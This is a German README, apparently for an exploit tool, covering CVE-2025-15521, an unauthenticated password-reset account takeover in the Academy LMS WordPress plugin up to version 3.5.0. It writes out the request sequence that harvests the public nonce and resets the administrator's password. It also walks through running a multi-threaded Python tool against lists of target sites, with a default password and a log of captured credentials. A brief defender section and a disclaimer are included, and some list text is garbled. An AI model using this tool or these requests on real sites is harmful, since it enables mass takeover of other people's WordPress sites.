
Das Academy LMS – WordPress LMS Plugin für Complete eLearning Solution Plugin für WordPress ist anfällig für Privilegienerweiterung durch Kontoübernahme in allen Versionen bis einschließlich 3.5.0.
Das Academy LMS – WordPress LMS Plugin für die komplette eLearning-Lösung Plugin für WordPress ist in allen Versionen bis einschließlich 3.5.0 anfällig für Privilegieneskalation durch Accountübernahme.
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
📡 Folge @KNxploited — CVE-Offenlegungen und funktionierende Exploits, ohne Verzögerung.
CVE-2025-15521 — Nicht authentifizierte Accountübernahme durch Passwortzurücksetzung in Academy LMS ≤ 3.5.0.
Der Reset-Handler des Plugins authentifiziert die Anfrage nur mittels eines öffentlich zugänglichen Nonce (academy_nonce), der in Kursseiten eingebettet ist. Kein Token wird an die E-Mail des Benutzers gesendet. Keine Sitzungsprüfung. Keine Identitätsvalidierung. Ein Angreifer, der eine beliebige Kursseite liest, erhält einen gültigen Nonce und kann dann das Passwort eines beliebigen Kontos zurücksetzen, indem er eine user_id angibt – einschließlich user_id=1 (der Site-Administrator).
CVSS 3.1: 9.8 Kritisch — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA: Wordfence
GET /course/any-course/
→ HTML contains: "academy_nonce": "a1b2c3d4e5" ← public, no auth
POST /academy-retrieve-password/?user_id=1
new_password=<anything>
confirm_new_password=<anything>
security=a1b2c3d4e5 ← nonce accepted
→ Password for user_id=1 changed. No email. No confirmation.
Der Handler ruft wp_set_password() auf, nachdem er lediglich wp_verify_nonce() für einen Nonce überprüft hat, der jedem Besucher ausgeliefert wird. Es wird nicht geprüft, ob der anfragende Benutzer der Inhaber des zu ändernden Kontos ist.
academy_nonce zu extrahierenuser_id mit einem gewählten Passwort/?author=N-Weiterleitungen und die REST-API (/wp-json/wp/v2/users)wordpress_logged_in-Cookie/wp-admin – nicht nur eine 200-Antwortpip install requests colorama urllib3
Python 3.8+ erforderlich. Python 3.10+ empfohlen.
python CVE-2025-15521.py
Sie werden zur Eingabe aufgefordert:
Ziel-Listendatei (eine URL pro Zeile): list.txt
Threads (gleichzeitige Sites) [5]: 10
Reset-Handler-Pfad [/academy-retrieve-password/]:
Kurs-Root-Pfad (Schlüsselquelle) [/course/]:
Maximale Anzahl an /course/-Unterseiten pro Site [15]:
user_id zum Zurücksetzen (Handler-Ziel) [1]:
Neues Passwort festlegen [adminSA]:
HTTP-Timeout (Sekunden) [10]:
Ausgabedatei [scan_results/academy_access_success.txt]:
Ziel-Datei — eine URL pro Zeile, Schema optional:
https://target1.com
target2.com
https://target3.com/lms
Terminal — eine Zeile pro Ziel, keine Anmeldedaten werden angezeigt:
[14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT
[14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT
Datei — nur bestätigte Zugangseinträge:
[2025-04-18T14:02:11] https://target.com - account=admin pass=adminSA
Für Verteidiger:
Blockieren oder überwachen Sie nicht authentifizierte POST-Anfragen an den Reset-Endpunkt:
POST *academy-retrieve-password* with parameter: security=
Überprüfen Sie die Offenlegung von rm_admin_order / academy_nonce im Kursseitenquellcode Ihres Themes. Wenn der Nonce ohne Anmeldung sichtbar ist – ist Ihre Version betroffen.
Sofortmaßnahmen:
Dieses Tool ist nur für autorisierte Sicherheitsforschung und Penetrationstests bestimmt.
Führen Sie es nur gegen Systeme aus, die Ihnen gehören oder für die Sie ausdrückliche schriftliche Erlaubnis zum Testen haben.
Der Autor übernimmt keine Haftung für unbefugte oder illegale Nutzung.
Unbefugte Nutzung verstößt gegen CFAA, CMA, EU-Richtlinie 2013/40/EU, Saudi-Arabiens Anti-Cyber-Crime-Gesetz Nr. M/17 und gleichwertige Gesetze weltweit.
By Nxploited (Khaled Alenazi)
t.me/KNxploited · github.com/Nxploited
🔔 Folge @KNxploited auf Telegram für die neuesten CVEs und Exploit-Veröffentlichungen.